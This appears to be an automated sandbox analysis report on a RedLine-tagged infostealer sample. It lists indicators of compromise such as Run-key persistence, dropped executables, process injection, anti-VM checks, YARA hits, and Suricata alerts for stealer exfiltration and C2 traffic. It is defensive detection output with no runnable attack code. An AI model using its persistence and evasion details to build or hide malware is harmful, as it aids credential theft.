redline | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

Change Default File Association

T1042

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2140	4040	rundll32.exe	19
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2136	4040	rundll32.exe	19
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9796	4040	rundll32.exe	19

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 9 IoCs

resource	yara_rule
behavioral10/memory/4692-228-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral10/memory/4692-229-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/208-320-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5540-372-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/592-430-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5860-460-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5564-508-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5928-561-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5280-609-0x000000000041C5E2-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral10/files/0x000600000001ab35-157.dat	family_socelars
behavioral10/files/0x000600000001ab35-182.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2768 created 2128	2768	WerFault.exe	115
PID 6776 created 1248	6776	WerFault.exe	104
PID 8740 created 8140	8740	WerFault.exe	235

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 6744 created 6036	6744	svchost.exe	351

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

rl_trojan 4 IoCs

redline stealer.

stealer

resource	yara_rule
behavioral10/files/0x000600000001ab48-153.dat	redline
behavioral10/files/0x000600000001ab48-170.dat	redline
behavioral10/files/0x000600000001ab48-231.dat	redline
behavioral10/files/0x000600000001ab48-285.dat	redline

suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral10/memory/1868-208-0x0000000004860000-0x0000000004931000-memory.dmp	family_vidar
behavioral10/memory/1868-219-0x0000000000400000-0x0000000002BB2000-memory.dmp	family_vidar
behavioral10/memory/3844-333-0x0000000000400000-0x0000000002BB2000-memory.dmp	family_vidar
behavioral10/memory/3844-360-0x00000000046B0000-0x0000000004781000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral10/files/0x000400000001ab2d-123.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab2c-124.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab2d-126.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab2c-125.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab2f-128.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab2f-131.dat	aspack_v212_v242

Blocklisted process makes network request 49 IoCs

flow	pid	Process
193	6320	powershell.exe
351	9840	MsiExec.exe
352	9840	MsiExec.exe
353	9840	MsiExec.exe
354	9840	MsiExec.exe
355	9840	MsiExec.exe
356	9840	MsiExec.exe
357	9840	MsiExec.exe
359	9840	MsiExec.exe
361	9840	MsiExec.exe
362	9840	MsiExec.exe
363	9840	MsiExec.exe
364	9840	MsiExec.exe
365	9840	MsiExec.exe
366	9840	MsiExec.exe
367	9840	MsiExec.exe
369	9840	MsiExec.exe
370	9840	MsiExec.exe
371	9840	MsiExec.exe
372	9840	MsiExec.exe
373	9840	MsiExec.exe
374	9840	MsiExec.exe
375	9840	MsiExec.exe
376	9840	MsiExec.exe
378	9840	MsiExec.exe
380	9840	MsiExec.exe
382	9840	MsiExec.exe
383	9840	MsiExec.exe
384	9840	MsiExec.exe
385	9840	MsiExec.exe
386	9840	MsiExec.exe
387	9840	MsiExec.exe
388	9840	MsiExec.exe
389	9840	MsiExec.exe
390	9840	MsiExec.exe
391	9840	MsiExec.exe
393	9840	MsiExec.exe
394	9840	MsiExec.exe
395	9840	MsiExec.exe
396	9840	MsiExec.exe
397	9840	MsiExec.exe
399	9840	MsiExec.exe
400	9840	MsiExec.exe
401	9840	MsiExec.exe
402	9840	MsiExec.exe
403	9840	MsiExec.exe
406	9840	MsiExec.exe
407	9840	MsiExec.exe
408	9840	MsiExec.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	46807GHF____.exe

Executes dropped EXE 64 IoCs

pid	Process
4436	setup_installer.exe
4508	setup_install.exe
2864	Tue11d7385a978cc.exe
192	3002.exe
1104	Tue11b9d76a96506.exe
1200	Tue11e4e580f2e8141a3.exe
1248	Tue1109eec571ac.exe
1816	Tue11bc0507b56295.exe
1840	Tue11141271fbe5877f.exe
1868	Tue112c483dd3245d.exe
1908	Vigaesakexo.exe
2972	Tue11b9d76a96506.tmp
3556	46807GHF____.exe
3444	LzmwAqmV.exe
3140	1249344.exe
4692	Tue11e4e580f2e8141a3.exe
4732	sihost64.exe
4528	PublicDwlBrowser1100.exe
3844	Alfanewfile2.exe
4436	2.exe
2128	setup.exe
4860	setup_2.exe
192	3002.exe
4748	setup_2.tmp
1292	Tue11e4e580f2e8141a3.exe
4364	2560021.exe
4892	jhuuee.exe
2380	BearVpn 3.exe
5164	setup_2.exe
5184	3802659.exe
5352	setup_2.tmp
208	Tue11e4e580f2e8141a3.exe
5716	3002.exe
5952	1493161.exe
5984	postback.exe
6088	8629951.exe
5540	Tue11e4e580f2e8141a3.exe
592	Tue11e4e580f2e8141a3.exe
5896	4233401.exe
2976	WinHoster.exe
5860	Tue11e4e580f2e8141a3.exe
2168	1258550.exe
4752	5106189.exe
856	ultramediaburner.exe
5564	Tue11e4e580f2e8141a3.exe
5928	Tue11e4e580f2e8141a3.exe
1368	ultramediaburner.tmp
1908	Vigaesakexo.exe
5280	Tue11e4e580f2e8141a3.exe
5284	Larelizhaehy.exe
6332	UltraMediaBurner.exe
6468	MicrosoftEdgeCP.exe
6164	Tue11e4e580f2e8141a3.exe
6520	Tue11e4e580f2e8141a3.exe
6828	Tue11e4e580f2e8141a3.exe
7156	services64.exe
5152	Tue11e4e580f2e8141a3.exe
3176	Tue11e4e580f2e8141a3.exe
7100	Tue11e4e580f2e8141a3.exe
6824	Tue11e4e580f2e8141a3.exe
3944	Ocrrgk0zP.exe
5420	Tue11e4e580f2e8141a3.exe
6732	Tue11e4e580f2e8141a3.exe
688	Tue11e4e580f2e8141a3.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2560021.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2560021.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4233401.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4233401.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1258550.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1258550.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Vigaesakexo.exe

Loads dropped DLL 48 IoCs

pid	Process
4508	setup_install.exe
4508	setup_install.exe
4508	setup_install.exe
4508	setup_install.exe
4508	setup_install.exe
4508	setup_install.exe
2972	Tue11b9d76a96506.tmp
4748	setup_2.tmp
648	rundll32.exe
5352	setup_2.tmp
3844	Alfanewfile2.exe
3844	Alfanewfile2.exe
1868	Tue112c483dd3245d.exe
1868	Tue112c483dd3245d.exe
7148	Conhost.exe
7984	installer.exe
7984	installer.exe
7984	installer.exe
4420	MsiExec.exe
4420	MsiExec.exe
9820	rundll32.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
9840	MsiExec.exe
7984	installer.exe
9840	MsiExec.exe
9840	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9120	MsiExec.exe
9840	MsiExec.exe
1448	FileSyncConfig.exe
1448	FileSyncConfig.exe
1448	FileSyncConfig.exe
1448	FileSyncConfig.exe
1448	FileSyncConfig.exe
1448	FileSyncConfig.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral10/files/0x000400000001ab67-289.dat	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	8629951.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Defender\\Naehynavaeno.exe\""	46807GHF____.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2560021.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4233401.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1258550.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Tue11e4e580f2e8141a3.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	installer.exe
File opened (read-only)	\??\F:	installer.exe
File opened (read-only)	\??\R:	installer.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	installer.exe
File opened (read-only)	\??\L:	installer.exe
File opened (read-only)	\??\U:	installer.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	installer.exe
File opened (read-only)	\??\I:	installer.exe
File opened (read-only)	\??\M:	installer.exe
File opened (read-only)	\??\T:	installer.exe
File opened (read-only)	\??\Z:	installer.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	installer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	installer.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	installer.exe
File opened (read-only)	\??\J:	installer.exe
File opened (read-only)	\??\P:	installer.exe
File opened (read-only)	\??\Q:	installer.exe
File opened (read-only)	\??\X:	installer.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	installer.exe
File opened (read-only)	\??\K:	installer.exe
File opened (read-only)	\??\O:	installer.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\S:	installer.exe
File opened (read-only)	\??\V:	installer.exe
File opened (read-only)	\??\W:	installer.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
55	ip-api.com
124	ip-api.com

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\rnyuf.exe	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent C47C3CFAAADD8BB5	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #6	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedUpdater	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #5	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #1	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4364	2560021.exe
5896	4233401.exe
2168	1258550.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 1200 set thread context of 4692	1200	Tue11e4e580f2e8141a3.exe	107
PID 5080 set thread context of 5400	5080	svchost.exe	133
PID 1200 set thread context of 208	1200	Tue11e4e580f2e8141a3.exe	121
PID 1200 set thread context of 5540	1200	Tue11e4e580f2e8141a3.exe	131
PID 1200 set thread context of 592	1200	Tue11e4e580f2e8141a3.exe	143
PID 5984 set thread context of 5912	5984	postback.exe	151
PID 1200 set thread context of 5860	1200	Tue11e4e580f2e8141a3.exe	148
PID 1200 set thread context of 5564	1200	Tue11e4e580f2e8141a3.exe	153
PID 1200 set thread context of 5928	1200	Tue11e4e580f2e8141a3.exe	159
PID 1200 set thread context of 5280	1200	Tue11e4e580f2e8141a3.exe	160
PID 1200 set thread context of 6164	1200	Tue11e4e580f2e8141a3.exe	164
PID 1200 set thread context of 6520	1200	Tue11e4e580f2e8141a3.exe	169
PID 1200 set thread context of 6828	1200	Tue11e4e580f2e8141a3.exe	175
PID 1200 set thread context of 6824	1200	Tue11e4e580f2e8141a3.exe	192
PID 1200 set thread context of 5420	1200	Tue11e4e580f2e8141a3.exe	196
PID 1200 set thread context of 6732	1200	Tue11e4e580f2e8141a3.exe	199
PID 1200 set thread context of 688	1200	Tue11e4e580f2e8141a3.exe	203
PID 1200 set thread context of 7280	1200	Tue11e4e580f2e8141a3.exe	206
PID 1200 set thread context of 7844	1200	Tue11e4e580f2e8141a3.exe	211
PID 1200 set thread context of 7532	1200	Tue11e4e580f2e8141a3.exe	223
PID 1200 set thread context of 7908	1200	Tue11e4e580f2e8141a3.exe	234
PID 1200 set thread context of 2176	1200	Tue11e4e580f2e8141a3.exe	240
PID 1200 set thread context of 8320	1200	Tue11e4e580f2e8141a3.exe	249
PID 1200 set thread context of 8684	1200	Tue11e4e580f2e8141a3.exe	254
PID 1200 set thread context of 8368	1200	Tue11e4e580f2e8141a3.exe	263
PID 1200 set thread context of 8588	1200	Tue11e4e580f2e8141a3.exe	266
PID 1200 set thread context of 9184	1200	Tue11e4e580f2e8141a3.exe	270
PID 1200 set thread context of 8892	1200	Tue11e4e580f2e8141a3.exe	278
PID 1200 set thread context of 9392	1200	Tue11e4e580f2e8141a3.exe	284
PID 1200 set thread context of 9428	1200	Tue11e4e580f2e8141a3.exe	289
PID 7156 set thread context of 10164	7156	services64.exe	293
PID 1200 set thread context of 10220	1200	Tue11e4e580f2e8141a3.exe	294
PID 1200 set thread context of 9980	1200	Tue11e4e580f2e8141a3.exe	298
PID 1200 set thread context of 8556	1200	Tue11e4e580f2e8141a3.exe	299
PID 1200 set thread context of 10128	1200	Tue11e4e580f2e8141a3.exe	300
PID 1200 set thread context of 5760	1200	Tue11e4e580f2e8141a3.exe	301
PID 1200 set thread context of 8644	1200	Tue11e4e580f2e8141a3.exe	302
PID 1200 set thread context of 2596	1200	Tue11e4e580f2e8141a3.exe	305
PID 1200 set thread context of 9720	1200	Tue11e4e580f2e8141a3.exe	308
PID 1200 set thread context of 852	1200	Tue11e4e580f2e8141a3.exe	313
PID 1200 set thread context of 7892	1200	Tue11e4e580f2e8141a3.exe	315
PID 1200 set thread context of 7120	1200	Tue11e4e580f2e8141a3.exe	382
PID 1200 set thread context of 4880	1200	Tue11e4e580f2e8141a3.exe	317
PID 1200 set thread context of 9828	1200	Tue11e4e580f2e8141a3.exe	319
PID 1200 set thread context of 6896	1200	Tue11e4e580f2e8141a3.exe	321
PID 1200 set thread context of 8092	1200	Tue11e4e580f2e8141a3.exe	383
PID 1200 set thread context of 8964	1200	Tue11e4e580f2e8141a3.exe	326
PID 1200 set thread context of 5868	1200	Tue11e4e580f2e8141a3.exe	328
PID 1200 set thread context of 3144	1200	Tue11e4e580f2e8141a3.exe	329
PID 1200 set thread context of 10200	1200	Tue11e4e580f2e8141a3.exe	330
PID 1200 set thread context of 2352	1200	Tue11e4e580f2e8141a3.exe	331
PID 1200 set thread context of 8012	1200	Tue11e4e580f2e8141a3.exe	332
PID 1200 set thread context of 2108	1200	Tue11e4e580f2e8141a3.exe	391
PID 1200 set thread context of 1312	1200	Tue11e4e580f2e8141a3.exe	334
PID 1200 set thread context of 7912	1200	Tue11e4e580f2e8141a3.exe	337
PID 1200 set thread context of 9564	1200	Tue11e4e580f2e8141a3.exe	338
PID 1200 set thread context of 9600	1200	Tue11e4e580f2e8141a3.exe	339
PID 1200 set thread context of 7700	1200	Tue11e4e580f2e8141a3.exe	340
PID 1200 set thread context of 5488	1200	Tue11e4e580f2e8141a3.exe	342
PID 1200 set thread context of 7196	1200	Tue11e4e580f2e8141a3.exe	398
PID 1200 set thread context of 9992	1200	Tue11e4e580f2e8141a3.exe	344
PID 1200 set thread context of 5188	1200	Tue11e4e580f2e8141a3.exe	345
PID 1200 set thread context of 4804	1200	Tue11e4e580f2e8141a3.exe	348
PID 1200 set thread context of 9280	1200	Tue11e4e580f2e8141a3.exe	350

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files\7-Zip\RNXFOBLVUC\ultramediaburner.exe	46807GHF____.exe
File created	C:\Program Files (x86)\Windows Defender\Naehynavaeno.exe	46807GHF____.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url	msiexec.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-2EQ60.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files\7-Zip\RNXFOBLVUC\ultramediaburner.exe.config	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-4KIVT.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	msiexec.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-GNMU8.tmp	setup_2.tmp

Drops file in Windows directory 42 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI3C51.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI45F7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI49F2.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Installer\f76b755.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f76b755.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\f76b758.msi	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Process not Found
File opened for modification	C:\Windows\Installer\MSIBEC9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC2E5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3884.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSIB998.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC257.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI488A.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI4A70.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI4E1C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5419.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC002.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3AE7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3BE2.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI47BE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B4C.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC071.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC12D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3595.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI39BD.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 40 IoCs

pid	pid_target	Process	procid_target
5208	1248	WerFault.exe	104
5796	1248	WerFault.exe	104
5912	2128	WerFault.exe	115
3748	2128	WerFault.exe	115
1856	1248	WerFault.exe	104
6268	1248	WerFault.exe	104
6308	2128	WerFault.exe	115
6576	2128	WerFault.exe	115
6844	2128	WerFault.exe	115
7056	1248	WerFault.exe	104
7132	2128	WerFault.exe	115
6724	6468	WerFault.exe	168
6948	1248	WerFault.exe	104
6076	6468	WerFault.exe	168
6276	2128	WerFault.exe	115
1040	2128	WerFault.exe	115
6432	1248	WerFault.exe	104
3760	1248	WerFault.exe	104
2768	2128	WerFault.exe	115
6776	1248	WerFault.exe	104
1552	6468	WerFault.exe	168
4716	6468	WerFault.exe	168
